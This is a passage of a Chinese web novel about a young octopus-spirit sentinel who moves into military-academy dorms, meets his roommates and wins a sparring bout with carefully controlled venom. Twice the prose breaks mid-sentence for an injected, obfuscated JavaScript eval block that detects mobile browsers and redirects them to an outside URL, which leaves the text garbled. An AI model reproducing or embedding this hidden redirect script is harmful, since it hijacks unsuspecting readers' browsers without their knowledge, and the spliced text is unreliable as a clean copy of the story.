三百个新生不可能只放在一个地点测试,一共三处测试点,他所在的这间场馆只测出这一个A级,可谓吸引足了目光、独占话题。今年A级生源就只有三个,都是A-1。据身旁频频刷手机的一名新生所说,另外两个都出在其他测试点,有一处愣是一个没出,那新生直播转达了被分配到那边的友人的失望。 整体结果和录取时大差不差,说是初测,其实是入校复核,检验进步和筛除水分。报考时在生源地考点就已经测试过一次等级数据,他听杭知澍提起过,三个A都是当时就递交上来的,从四月份报考到现在九月份开学,约摸五个月,并没有增长变化。 级别越高,提升空间也越小。毕竟A级都能过教官报考线了,这也就是军校,否则上哪儿搜罗这么些年纪轻轻的A级哨向。 他记得上辈子在组织并没有设置新人进入门槛,组织到处搜集他们这些无或少社会关系的未成年哨向,从最低的F级开始,要数量不要质量,反正低阶有低阶的用途。三到五年后,同期能活着晋升入B级的也不过五六个。 他面上没什么表情,升回B级的心情在杭知澍眼露惊异又迅速沉静后也尘埃落定。 他烦闷地叹了口气。 他现在正式入学,要搬进学生宿舍了。 早在两天前他就收拾好了东西,不舍得是一回事,学生待遇一致,新住处如期分配下来,于情于理,他没有继续赖在教官宿舍的理由。 杭知澍当初清理购物车的时候考虑过这个大水族箱吗?客惜斓拄着行李箱,望着陷在酒桶里嘤嘤买醉装死的八爪鱼克莱因,踌躇道:“这个、水族箱……学生宿舍不好放。” 一屋子年轻哨兵吱哇乱窜,随便打闹推搡两下,保证哗哗碎一地,还要收拾沙子和水。 他倒不是舍不得这花里胡哨的菠萝屋,水族箱留在这,以后也方便他休息日上门叨扰不是? 做海鲜要学着给自己留后路。 一大箱子家装陈设加起来还挺贵的,杭知澍一个刚毕业的打工人,也舍不得被熊孩子们祸祸了吧。 饲养员沉吟片刻:“还是放我这吧,这么大也不好挪动,等以后休息日你想泡澡了再过来。” 他顿了顿,还很严谨地补充了一下:“你精神体想泡了。” 客惜斓说:“……好嗷。” 杭知澍也松了口气。 他们职业特殊,要想维持养宠物的兴趣爱好不容易,这八爪鱼还是捡一送一,不用喂食铲屎、不用额外再操份心,除了不方便拍视频发朋友圈晒以外全是好处。 他把脑袋耷拉的客惜斓送出门,蓝环章鱼“啵”地蒸发在水族箱中,淡绿蛱蝶幻化而出,贴在空寂的水族箱外壁,一动不动。 等级测试结束,场馆里众人开始散去,他装作有事询问靠近解散的教官队列,徐榛有眼色地一把勾过旁边话没说完的教官催促吃饭去。 杭知澍率先开口:“还有什么东西没拿吗?” 他摇过头,忐忑道:“明天要和人对战,我……我没跟别人打过。” “嗯,我知道,”杭知澍没再顺手丢个精神安抚,“这三个月每天都在做出新尝试,明天也是在迈出新的一步,没什么大不了的,记得我教你的,控制好毒素。” “还有。” 人散得差不多了,赶在清洁人员入馆清场前,他抬手迅速地摸了一把客惜斓的头发。 “恭喜你升级,惜惜。” - 他进门的时候不比早晨,人都已经来了。教官宿舍单人间,研究生双人,一年级学生一间四人,主要按精神体相性分配。 他的鹦鹉螺哨兵室友一头鲜艳惹眼红发,原本在抱臂闲聊,听见进门动静一转身,满面热切地伸臂就揽:“客惜斓是你对吧?可算是来了!你是章鱼啊?咱们头足纲的几亿年前是一家,我把我壳蹬了就变你了!你哪种章鱼,大的小的啊?” 客惜斓猝不及防被勾脖子,差点把人过肩摔出去,谨记杭知澍的教导控制住了手,借推出行李箱的动作把裹进黑手套的双手不着痕迹前挪,远离对方身体,冷静答道:“小的,特别小,才十厘米左右。” “是蓝环章鱼。” 他这位头足纲的家人讪讪地缩回了手。往里的铺位传来哼笑一声,刚挂好的床帘唰地掀开,一名黑发哨兵探出头:“又搁这丢人呢秦罗弗儿?打招呼不报大名是怕新室友笑话你啊。” “你烦死了贺旗,捯饬你帘子去。” 客惜斓眨眼:“秦罗弗?” 贺旗憋笑:“他闺名,一听就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418398|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个大美妞。” 鹦鹉螺恼怒地反手敲他一下,等贺旗一溜烟缩进铺位,才又转回头,挠挠脸解释道:“我爹妈想要闺女想疯了,生下来差点没把我扔出去,我上小学三年级撒泼打滚才给把第三个字改了。” 客惜斓没正经读过书,室友解释说古代有个著名的美女就叫“秦罗敷”。 他刚刚看了事先传到学校下发通讯器上的室友名单,没照片还对不上人,光看这喧嚣的红毛就猜这位该是鹦鹉螺。另一位是丹顶鹤,两人籍贯都是首都P市,没想到是认识的。 这屋里一口螺一只鸟,一来就碰上鹬蚌相争了。 客惜斓身世曲折,没几桩能放到明面上分享的事,乐意他俩自己熟人互掐,不对他问东问西。但他俩没打闹多久,惦记着屋里头还有别人,鹦鹉螺哨兵的目光又转向他,主动提道:“刚刚不好意思啊!我下意识,大家都是海里的嘛,我打小听蓝环传说到大的。你要能随便外泄也不会让跟其他学生住一间了是吧……正常肢体接触没问题吧?” 客惜斓心里郁郁,他倒巴不得能不住学生宿舍。 但他想起杭知澍的交代,“嗯”了声表示肯定:“没问题的,但我目前是把毒素集中在手部,为了以防万一我都戴着这个学校特制的手套,平时不接触我手一般没事,打起来的时候自己人还是尽量避开肢体接触。” 这可不光涉及到宿舍相处,更是安全守则,秦罗弗认真听完了,又再三提问确认,才把话题由他的精神体毒性转移到他本人:“我一看名单就觉得你名字写出来特漂亮,那叫什么,文艺,姓也少见,你是哪儿……” 贺旗突然看他一眼,又插话:“你少来,你就巴不得再来个人跟你一样你好把着人手交流分享,你那是历史人物撞名能一样?多冒昧啊。”没等客惜斓说话,贺旗立刻又补了句:“这小子改名前成天被点名老师当成是个闺女,老师一看名单就乐都爱点他回答问题,可想有人能理解他的不容易了。” 秦罗弗显而易见有点不太高兴:“你不要曲解我的话!我那只是觉着不方便容易误解而已,你又不是不知道原因……” 他顿了顿,“你干嘛老扯我身上?这才第一天刚到寝室,别拨拉着我跟你掐。”他压低声说,“我还想给新室友留个好印象呢!” 他反驳好几句,听着嘴皮子很溜的贺旗竟没应声,秦罗弗便又道:“而且,什么时代了还觉得哨兵必须要体格强壮五大三粗,课本都说了哨兵身材体格大多数取决于精神体,现实里动物长什么样的不都有。” 客惜斓原本觉得不高兴,这名字虽然拼凑曲折但可是杭知澍起给他的,杭知澍给的就是最好的,听到这儿也不好再说什么,好赖话好像都给他俩说完了,听得他云里雾里,说着名字,怎么又扯上身材体格了?人类真是弯绕。他没听懂,不妨碍语气已然略沉:“我还好,没怎么遇到过。” 他才领取大名三个月。 鹦鹉螺还有点欲言又止的,贺旗张口把话题扯别地去了。另一个室友在床上打游戏,从头到尾没吱声,第二天洗漱时才看清正脸,彼此点个头又擦身而过。 他寻思另俩也跟这位一个样式就好了,安安静静,大家互不打扰。 反正一早搬来了部分行李占位置,他刻意磨蹭到下午才回宿舍,跟杭知澍也有整整一晚上没见了。室友打完电话回来,念叨着想家。他也想,想杭知澍。他要和同学相处,在宿舍不能自由自在地放出精神体,没人会像杭知澍那样纵容他。 他知道自己没这习惯,但仍把嘴巴抿得紧紧的,躺在床上,怕自己说错梦话。 第二天一早他就明白了先前室友们话里有话的异常,那个B-4级的高壮哨兵打量着他,肌肉沉沉像座小山,很不屑地嗤笑了一声:“你是哨兵?你确定没填错类型吗?你这小身板配这花里胡哨的名字正好。”他一指隔壁向导的比赛场地:“从那边随便叫个向导出来都比你壮。” 他不认识人,昨天一天没怎么社交,不代表室友们不。 不知道谁传言出来客惜斓是破格录入进来的,晚于正式报名期限,引起了一些人猜测,一打听又没大家族闻风认领,还只是个B级出头。 客惜斓黑眼珠里杀气汩汩:花里胡哨怎么了?我就喜欢这口。 杭知澍的审美也是你敢置喙的! 8. 第 8 章 对战是全员随机抽签,往年这时候已经分好班,今年也许是A级太少又全是擦线,索性也扔进来一起对练,也让其他学生看看优秀同龄人,认识差距好追赶。 临场才听到新规则的学生们汗流浃背,纷纷祈祷别小手开光抽中A级对手。 教官们点着名,军方的哨向是个圈,不少人沾亲带故,看着姓名也能寒暄两句。客惜斓那两个室友都被点名的教官过问。 “秦吾远是你什么人?” 秦罗弗:“我哥!教官认识?你们是同学吗?执行任务遇到过吗?我哥他……” “行了行了把你纸条拿上快点滚。下一个!” “贺旌华是你什么人?” 贺旗:“报告教官,是我姐。教官您能不能别告诉我姐,她要知道了我教官谁肯定让您给我训练加倍。” “那你想加几倍?” …… 三号室友还是不爱和人交流,拿了号静静站在一旁,客惜斓觉得他应该也是个有故事的人,他们有故事的人是这样的,比较高冷。 红毛室友叽哩哇啦分享抽中的对手,客惜斓礼貌地看了一眼他展示的纸条——人的名字三个字,反正全不认识。室友看着他的却聚起了眉,压低声说:“B-4级弓崖,河马哨兵,这人是个力量型的,主要技能有吞吐河水和死亡咬合,狂暴状态下速度会大幅度提升,如果拉开距离够大反而一定会被追上,但受精神体增幅影响体重加大、不够灵活,更适合大场地作战。” 客惜斓避忌提及自身,但并不拒绝喂到嘴边的信息,做杀手信息搜集可相当重要。他抬眼望向秦罗弗,眼神认真,点头道:“谢谢你。” “不客气嘿!”鹦鹉螺哨兵举拳欲碰,猛然间想起他手的特殊,悬空刹车,机智地往上挪一段,轻轻怼在了他肩膀上,“加油!” 他的号排在前面,说完就被叫到候场,客惜斓回以同样鼓励,将目光重新转回场内。 室内训练馆中央,屏障打开,虚空中四壁凝结出淡淡辉光,转瞬没入无形。这种高透屏障能够确保场上的精神力和攻击手段不外溢波及场外,同时也能清晰观战。 大多数还是B等级间的战斗,客惜斓兴致缺缺,两轮过后就到了他的室友。秦罗弗把红彤彤刘海往上一掀,拿发卡夹成个伪苹果头,露出额头眉眼,跟对面哨兵互报了信息。 B-3级灰狼对B-3级鹦鹉螺。对面的灰狼哨兵人高马大。 灰狼速度快,狼爪锋利,咬合力大,近身难以摆脱。裁判教官哨音刚落,秦罗弗立刻开始逃窜,似乎想跟现形奔出的精神体灰狼拉开距离,但连连回头,不时感叹道:“妈呀!好大一只!”见状场外低嘘一片,客惜斓若有所思。 狼性狡变警觉,灰狼哨兵没有选择附体作战,而是操控着精神体,和本体一紧一慢,沿场周分别绕两个方向接近。秦罗弗身上红光乍闪,荧红色精神力镀上壳层,把螺壳的防御套在了本体上。 眼看距离拉近,精神体灰狼压低后腿,猛地作势前扑! 血盆大口豁然张开,露出锋利獠牙,秦罗弗双臂交抵,挡在头脸前方,贴身精神力护盾扩大,半透明的荧红鹦鹉螺壳凝结成形,硬生生扛了近二十秒,“咔嚓”,声响清脆,狞怖狼牙的锲入点豁开一个微小裂口,细小的螺壳碎片簌簌掉下。 “全点防御了?”周围人议论纷纷,这对战似乎已经没什么看点和悬念。 变故就在这时陡生。狼牙还在锲而不舍往下压,树状裂缝从隙口扩张到全壳,灰狼哨兵提着匕首逐步靠近,秦罗弗的精神力盾甲螺壳全碎,哨兵肢体变形,暗色迷彩服下涌出密密麻麻几十条乳白色触须,从仰扑露出的毛绒腹部迅速缠裹住了灰狼。 灰狼精神体惊恐挣扎,唰地消失,被主人收回。灰狼哨兵开启附体,狼耳长尾放出,手持出鞘的匕首极速后跳倒退,半空中刚要侧身变位,余光转换间面露惊恐。 他身后,巨大的鹦鹉螺蒙着幽幽红光,乳白壳身缭绕彤红火焰纹,如一艘鲜艳的鬼船,悬浮在深水般稠绵的半空中。 雄性曲壳鹦鹉螺六十根乳白色触须从螺口冲壳而出,迅速缠裹住半空中的人影,把身高接近一米八五的灰狼哨兵整个吞入螺壳中。 鹦鹉螺精神体第一技能,黄金螺宫。 鹦鹉螺长有呈斐波那契黄金分割的螺壳,其内部藏有深度幻觉迷宫,摄入猎物后直接攻击精神域,致其昏迷。 相当于吞吸入大量的海水,空中巨螺缓缓下沉,“当”地沉沉稳稳落在地面上。本体的乳白触须已经全部收回,残破迷彩服下露出的皮肤表面仍有纤细肉芽波动,秦罗弗一边咋舌地捏着被破坏的衣袖,一边凑近了大螺壳。 场外倒数十下,确认螺壳里没了反应,宣布对战结果。秦罗弗撤去巨螺,灰狼哨兵陷入昏迷,倒在地上。 大屏障也随着对战结束消失,秦罗弗蹲下身把灰狼哨兵的一条手臂搭在肩上,费劲巴拉将人扛起了一点,一抬头冲场外嗷嗷喊:“哎我没体了,都是同学来个人搭把手啊!长这么高,嗐!” 周围观众这才反应过来,手忙脚乱冲进去帮忙抬人。身后突然有人开口说话,客惜斓一回头,贺旗正好奇地看向他:“你好像不怎么惊讶?是因为头足纲生物的作战方式相似吗?” 客惜斓半否半认:“有一点吧,但我没他那壳。”没壳有没壳的打法。 有壳动物最仰赖壳子,进了壳就是它们的天下。从看到秦罗弗开场频频观察对手,在意的也是体型大小,他就猜测他大概要积蓄精神力把精神体膨胀到足以吞没对方的尺寸。而这个过程必须相对隐秘,于是他选择自己当诱饵打消灰狼的警惕心,再将对手本体诱入方便操作的攻击范围。 攻击精神体,哨兵本体会精神不稳、反应下降,但还能逃脱,于是他利用精神体被触须绞杀受创、对手灵活度下降的一瞬将其本体直接拖入埋伏。 技术含量并不高,但胜在出其不意,加之鹦鹉螺是极其罕见的精神体,这种招数在外出作战时较难被预估到位。 “不过我好奇,昨天就在想了,”懒洋洋的贺旗走下铺位其实双腿极长,人群中一站显得十分高挑,客惜斓不得不侧头微仰地和他说话,“他的鹦鹉螺壳内难道没有毒吗?把猎物拖进螺壳致昏迷,单纯是空间……加上幻觉系的能力吗?” 贺旗把双手揣进兜,做了个拢翅般的安逸动作,身体微微直挺起来,笑道:“有没有毒他自个都不知道,毕竟鹦鹉螺这东西一级保护也不能随便抓来剖,他自己的毒也毒不到自己。” “黄金螺宫内部就像薛定谔的猫箱。反正我没进去过,我是不敢,说不准你去问问那歇了的灰狼老兄能有点收获。” 只会打架的前杀手雇佣兵不涉及文史还是能听懂大半的,客惜斓眨巴眼,肩膀上忽然袭来一股大力,吵嚷的红毛换完衣服,一手高一手低大咧咧揽着他俩:“你们俩怎么还在这!只有我那么早就上场!” 贺旗掸开他,嫌道:“起开!粘我一身狼毛。趁机撸到人精神体爽歪了吧?你不会还趁人全麻薅人尾巴耳朵了吧?”他眼中毫不掩饰地流出鄙夷:“福瑞控真鹅心!” 秦罗弗露出了甜美的傻笑:“希望下回能遇到真的狗子——哎,正好人都在这,我去打听我们这届有几个犬科的!” 秦罗弗摩拳擦掌地找狗去了;贺旗准备候场,临走前提了一句:“霍河樵要上场了。” 霍河樵就是他们那沉默寡言的三号室友。 这会儿杭知澍并不在场。室友一走,客惜斓一个人站着,忽然间感知微动,一点莹莹淡绿细末转到身前,半透明蝶翅舒张开,就这么翩翩然栖在他迷彩服上。 “教官?” 他当即左顾右盼,并没瞧见熟悉的人影,目光略有失落地收回,全浇注在那双剔透如树脂的蝶翅。 客惜斓小声叫它:“提提。”努嘴吹出段招揽小鸟似的欢快气声:“咻咻。” 蝴蝶被顽皮的气流搔动,触须细细地摆晃,翅膀发痒,轻扇两下。 他目光投向场中,室友霍河樵已经开打了,视线又掠过一圈周遭,确认大家都全神贯注于对战,才用气声悄然递话:“提提,你帮我向教官问个事……” “好不好?” 霍河樵是B-4级马赛狮哨兵,对手是B-3级亚洲象。等级加上物种双重压制。亚洲象精神体试图以并不发达的象牙顶开攻击,仰首间狮子骤然贴地前滑,至大象腹下,擎爪,从侧面结实攀上象体开咬,利齿从后颈刺入象喉。大象精神体迅速溃散,只留哨兵近身肉搏。客惜斓发现这头精神体狮子鬃毛深褐、接近漆黑,诧异间霍河樵已经三下五除二把对方亮出的匕首击飞,刀落地,人被锁喉,侧脸紧紧压在地面。他的精神体狮子在大象消失后也立刻收回,并未让其从旁协助。场外教官倒数十下,对战结束。 霍河樵的学生证上写的是十八岁,秦、贺两人也同是十八岁。那头马赛狮捕猎熟练犀利,务求一击必杀、快速解决,然后立即退出众人视野。直击要害,精神力未外溢一缕,连精神体技能都没用到。客惜斓无声皱起眉,如果他没有感觉错,那头狮子的状态似乎衰老又疲惫。 他盯了一会儿,看到走出场中央的霍河樵忽地抬目望来,那目光沉静,并无负面情绪传递。客惜斓与他直视,当下合掌而鼓,战术手套掌心相击,发出闷钝的沙沙澎澎响,诚挚满面,一副很为室友叹服的模样。 霍河樵什么也没说,又自己找块地安静待着。 贺旗的对战也进行得很快。B-3级丹顶鹤附体,展翅凌空,大长腿砸核桃似的左一记右一记,把对手同级长颈鹿精神体踹得重心不稳、东倒西歪,险些直接摔倒,同样引以为傲、能蹬开狮子的后腿无法踹到空中对手,索性将奇长脖子抡成流星锤,试图撞下空中优哉游哉的鸟人。鹿脑袋没撞到贺旗,粗壮鹿颈刮带起来的激烈气流却扰乱了丹顶鹤的飞行线路,贺旗紧急低飞向地,鹤脚一点向后空翻,在半空中以奇异的生理曲度大幅仰头,张嘴,向着上空庞然巨物,发出一记长喝。 屏障阻隔了绝大部分声音,只能听到一声空阔悠远的清唳。 长颈鹿高耸的巨躯如城堡崩坍,重重倒地,掀起大片灰尘。对手哨兵如遭重棒,两眼一闭,也直挺挺倒在扬尘里。 丹顶鹤精神体第一技能,风啸鹤唳。 直荡精神域的音波攻击,如在室外,有几率引起狂风并形成音波回荡效果。 贺旗准备下场,转身之际正往吹乱的衣领里塞着掉出来的东西,场下教官宣布道:“贺旗胜!贺旗倒扣两分——贺旗胜!” 贺旗懵然回头,一指自个儿:“我?” 教官:“比试佩戴无关物品违规,玉牌手串提前取下交到教官处保管,下次违反倒扣五分!” 贺旗:“……” 算了,反正还是赢了。 客惜斓观赛一上午,终于轮到自己。刚走到候场区,身后不远处就传来一个陌生的声音:“客惜斓就是你啊?” 这个人的脚步略重,转身而视,果然体型高大,看起来肌肉发达,皮糙肉厚。 他这一声并没有刻意压低,周围人都听见了,纷纷投以目光和窃窃私语。 客惜斓听到了大量的、潮水般的议论。 既没有破A的等级,也似乎没有家世背景,甚至单看着比未觉醒的普通人都孱弱。 一个据说不按报名时间却能入读的哨兵。 他被杭知澍精心喂了三个月,已经长高了一点,在身高体壮约摸一米八五的哨兵面前仍显细瘦,一米七的个头在一众年轻哨兵中似乎风吹就倒。 哪怕他这副身体现年十七,本来比在场大多数同届小一两岁。 如果这些人继续探究他的过往,会发现他曾牵涉进一桩毒杀案件吗? 会对刚参加工作的杭知澍造成影响吗? 他眯起眼,睁开,直视对面的高大哨兵。 B-4,差了两个小阶。 “我是客惜斓。”他答道。 他们进入场地,屏障再度张开。 “河马精神体哨兵弓崖,B-4级。”对方率先自报家门,说到级别时刻意停顿,加重。 “如果我能打赢你,可以向我的名字道歉吗?” 客惜斓自顾自说话,随即在对方给出回应前按规报上自己信息: “B-2级客惜斓,精神体豹纹蛸。” “别名,蓝环章鱼。” - 意识中浮出人的声音,是低沉呼唤,是指令。 “新月。” “去杀光他们,新月。” 往面前奔来,地动山摇。河马哨兵一上来就选择精神体附体,他很清楚自己压倒性的优势所在,意图集中所有力量,直接靠自身生物特性碾压。 客惜斓精神力延伸,在周身模拟出海洋环境,隐形水流加持下身形如梭刺向沉重的河马,带动成串细小浮沫。未开刃的匕首裹上精神力,哧哧不间断捅向迷彩服下撑胀的各处肌肉,虽有精神力护盾仍能感到针刺雨砭般迅速繁密的疼痛,引发暴怒的低吼和剧烈挣扎。柔若无骨的肢体已悄然缠上,镶在四肢接触面上隐秘的吸盘紧紧扯住对方皮肉不放,吸力强悍、直接撕秃其覆盖于此处的精神力,河马哨兵皮肤被撕扯、痛呼猛挣,被触腕般的手脚粘住动作。 他不拉开距离,而是如胶水粘住对方肢体,让他有心无力。 看似只有四肢,另四条虚幻腕足已悄然张开,动态维持着一半吸紧禁锢、一半在其身前身后攀爬蠕动的布置,虚幻蛸腕柔软卷绕,其中一根牢牢箍住对方变得粗厚的脖颈。河马其实是皮肤脆弱的动物,在自然界中惧晒,需要长期在体表涂泥防护,看似粗糙的皮肤在附体后更加敏锐。 一条腕足翘起,从前端到后,吸盘一颗颗发出“啵”声,扯动淤紫疼痛的表皮。另一条腕足又交替在体表另一处落下。反复折磨。 要不是在学校,他就直接绞杀了。但这可是同学啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418399|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,同学。 是杭知澍的学生。 他舔了舔嘴唇,绵如抽骨的双腿绞在对方胸前,躯干沿脊柱阴冷爬动,精神力笼罩下苍白清秀的脸从对方背后游出来,生生贴近触手缠绕的哨兵后颈,张开白森森尖牙。 ——弓崖解除了附体! 轰然声响,巨大的河马精神体直接用身躯撞出的冲力震开敌人,客惜斓在受到河马实体冲击前便灵敏收手,八足回撤,推出水流急退。 精神力过爆,不惜炸到自己,河马哨兵迷彩服褴褛狼藉,口鼻汹汹地喘着重气,眼珠发红。 哎呀,要接技能了。 早知道不玩这么久。 河马吼啸着敞开巨口,河水奔涌而出,客惜斓手握匕首还在嫌脏,那凶猛倾泻的河水随巨口的猛力一吸竟急速回潮,身体不受控制地被向前吸跑,悬空,连同空中微尘。他当即明白了对方的战术。 连招。 河马精神体第一技能,吞河回潮! 河马精神体第二技能,死亡咬合! 他刚才没能咬到,对方却打算把可恨的章鱼直接一口咬爆。 他心里深知这是立身之战,这么多双眼睛看着,背负争议孤身进入一个陌生集体,必须要有能力服众。 军校C级为门槛,是因为哨兵向导过了C级才有足够的精神力形成并释放专属技能,是质变的分界。 他已经逼出了对手的全部技能。 虚幻腕足飙扬间,蓝环骤亮,荧光蓝圈之内,光线被吞噬般散发出浓郁的漆黑。客惜斓匕首倒转挽花,张开虚实六足狠狠扒住河马上下头身,一根精神力腕足凝实,卷起右手匕首,探入激流冲刷的口腔中,狠狠凿下! 痛觉反射叠加释放到一半的技能,它一定会闭嘴。水流停息收回,临时撤力的死亡咬合仍然震动巨大,把扒着的客惜斓瞬间震退,留在河马口腔中的匕首柄被沉重上颚猛然下压,直接扎穿下颌。 河马原地消失。 蓝环咝咝熄灭,客惜斓不顾被咬断的那根精神力腕足,两脚劈开下沉,全身贴地,伏行,覆上一团漆黑暗影,使之无法被窥见形貌,抛弃骨骼般粘稠地蠕动,动作墨黑、黏连,却惊人地快速。 河马哨兵努力晃动眩晕的头颅,强迫自己清醒,B-4级精神力,即使一开始被吸盘反反复复滋扰、不断出力修补护盾,释放过一点五个精神体技能,精神体又受重创,仍然有残留之力再度附体! 但他开始模糊的视野里,那团漆黑的章鱼状生物骤然消失,仿佛本就是个幻影,下一秒,漆黑战术手套的类尼龙质地粗剌剌摩擦过脖颈皮肤,接近咽喉命门处。 有硬物抵在动脉,压进皮肤。 是落地后不知何时消失的匕首。 新月豹纹蛸精神体第一技能,混沌潜行。 客惜斓用只有二人能听到的低语轻声说话。 在场外皆以为弓崖要继续反抗挣脱或是甘心认输之际,小山一样的河马哨兵瞳孔骤缩,面朝大地,沉沉地向前倒去。 客惜斓灵活跳开,不忘捂住口鼻,避开扬尘。 客惜斓匕首回鞘,猫下腰,刚想伸手,一顿,肋间生出一条章鱼触手,触手端静静贴在对手背后几秒,仿佛听诊,又弹琴似的噼里啪啦在昏厥的哨兵身上连敲十几下,停住,很乖巧地抬头望向了裁判教官。 倒数十下过去。 裁判教官宣布结果。 “客惜斓胜!” 屏障撤去,已经熟练流程准备好担架的医务人员上场,客惜斓突然开口:“医生麻烦按他人中。” 医生吓一跳:“怎么?” 客惜斓紧紧皱眉:“不然就晚了!” 弓崖咳嗽着被摁醒,两眼茫然,四体虚脱,后脑嗡鸣发蒙。他眼睛焦聚,看见客惜斓飘过来的雪白小脸,见了鬼似的惊恐,脱口而出:“你——” 客惜斓:“同学你输了,向我的名字道歉。” 弓崖:“……” 客惜斓:“你说客惜斓名字超好听又帅气起这名的人简直是个宇宙无敌大天才就行,大点声。” 弓崖:“……” 河马哨兵艰难地重复了一遍大意。 趁他还没真的咽气,客惜斓满意地给人目送走了。 对手突然晕厥,当然不是单纯力竭,而是被八爪鱼蛰了,麻痹叠加惊吓。 客惜斓凑到他后脖颈子边,一字一句细声说:“你中毒了,蓝环章鱼毒,再过三分钟我也救不了你了,你快认输吧!” 毒发三到五分钟,对比自然界的TTX起效时间得到了进一步压缩,那是插刀精神体之际就蹭到匕首上的。 他让扑棱提子传话,问杭知澍能不能对级别高于自己的对手的精神体使用极其微量,仅仅麻痹。 对方是精神力皮实过他的哨兵,只要当场还未扩散致机能开始衰竭,及时吸回,并不构成危险。真正级别低于他的才不好这么干。 八爪鱼哪会听诊,毒素回收罢了。 连精神力护盾都能硬给揪秃噜皮的吸力,吸回毒素还是能办到的。 他站起来,走出场中央,听着新一波涌来的议论,大意是他越阶单挑打赢了、甚至全程没放出过完整精神体。 他叹息着大伙儿清澈的愚蠢,心想同学们,同级PK直接放精神体这就从比试变白事了。 他的精神体可不像他这么会权衡、好说话。 他非要让第三人把对手掐醒,又让他高声重复话语,让他清醒地被抬走,为的是同时证明几件事。 其一,B-2级哨兵并不弱小,单挑B-4级力量型能赢,他和在场的其他学生一样有留在军校的实力; 其二,维护教官赠予的限定周边(名字); 其三,和蓝环章鱼哨兵训练交手有可能不会赢,但并不会被毒死。 有陌生迷彩服走上前来主动搭话,道歉说:“客同学不好意思,你刚才上场前我说了不是很看好你的话,我跟你道歉。” 客惜斓眼睛静静一眨巴,开始现学现卖:“都是同学。” 军校生……思维其实蛮纯朴的,展露出匹配的实力通常就能得到接纳,被限制了惯用又高效的毒属性,这场打得其实一点不舒适,束手束脚,这是上辈子只用思考最快捷有效猎杀方式的他乍然接触到的全新领域。 他用生物特性绞缠应对杭知澍,那是为了装乖巧和耍流氓,贴这么个大河马,他亏得要死。 可是同学即使有点烦,也不能直接杀掉。 教官说不可以用同学磨牙。 人接二连三涌来,开始和他交流,客惜斓心不在焉。作为一个营养不良恢复中的小型章鱼,他被乌泱泱哨兵向导们一遮根本看不到前边,他边开启飞行模式“嗯嗯唔唔”应和着,边踮脚蹦跶跶往人墙偶尔移动漏出的缝隙外张望。 目光一晃,捉见丁点柔淡的绿光。 他看见杭知澍正看着他。 教官的表情很复杂。 9. 第 9 章 杭知澍的心情也很复杂。 开学杂事一箩筐,他从工作里抽身,其实特地赶来这边场馆观战了,因为不放心小八爪鱼第一次参加学生对战,怕他被人揍,也怕他药死同学。 眼看尘埃落定,屏障解除前他又提前走出去,拿了设备到门口,检测那头抬下来的河马同学身上是否还有毒素残留。 饲养剧毒海鲜,主打的就是一个战战兢兢。 结果通过,他松了口气,又想起方才对练时客惜斓使出浑身解数紧扒着对手不放的模样。 和在场大多数对软体动物战斗方式缺乏概念的学生不同,他在军校多年,也数次接触过具有类似特性的其他章鱼类、蛇类哨兵,那些哨兵更习惯用精神体而非本体实施吸附、攀爬、绞缠的攻击手段,亦或是半身兽化,直接以触腕或蛇身进攻。但出于毒素控制的基本要求,现阶段的客惜斓还不能随意亮出精神体,只好自己上。 动物都有各自天性,这些动物的天性就是如此,就像他喜欢嚼花嗦蜜、贴办公室玻璃观察楼下学生,徐榛喜欢储物柜囤坚果和跑酷。他深谙对于与精神体动物共生、分享习性的哨兵向导而言,限制这些行为并不合理。 在过去三个月他对客惜斓的暑假集训里,小八爪鱼最常用的手段正是绞缠,配合吸盘的吸附,虽说没有今天这么使劲,这些手段总归也都是他见过的,从未对此产生诧异,然而今天观看客惜斓与弓崖对战后,怪异之感陡生。 他送走担架,在门口撞见同样摸鱼出来透气的徐榛,松鼠师兄曲折地“唷”一大声,心领神会道:“来关心孩子啊?” 杭知澍应对沉稳:“来监控跟蓝环交手后的学生有无不良反应。”言罢亮出手中便携检测仪,有理有据。 徐榛是出来嗑坚果的,如果在场馆里嗑,清洁阿姨会抡扫把揍他。 杭知澍决定参考一下他人意见,主动提道:“你觉得他们俩刚刚那场……” 会不会贴得不太合适了? 徐榛“呸”一声,很有素质地把碎果壳唾进手心:“打得也太阴间了!我要是那河马小鬼今晚回去必哐哐做噩梦……要不然说动手就怕碰到海鲜,湿哒哒黏糊糊还钩毛,打一场直接斑秃!” 杭知澍陷入了更浓郁的沉思。 徐榛是一名毛绒,小型毛绒恐海鲜是正常的。 难道真的只有他觉得不对劲? 小型毛绒嚼着果仁嘎吱嘎吱道:“你脸色怎么这么差?你小鬼能正常对练了这不好事吗?” 杭知澍道:“你说得对。” 他用精神体蝴蝶回复了客惜斓的传话,却一直忐忑,因此左思右想还是亲自到场一趟,如有不妥也方便及时补救。 这一身强悍的毒素也是蓝环章鱼的物种天性,是其立足自然界最大的倚仗,让客惜斓直接放弃明显不合理,因此他是希望在军校的训练能够适度开发出除了直接毒杀目标之外的毒素用途的,既然客惜斓已经想到、并且有把握执行,在保证对手学生安全的前提下,他不应该阻拦、限制自己学生的潜能成长。 这三个月以来,包括昨天到今天的十几个小时里,他和客惜斓的新室友们都没有被误伤。这证明了特质手套和客惜斓本人精神力得到开发后的控制是有效的。 “我纠结的不是这个。” 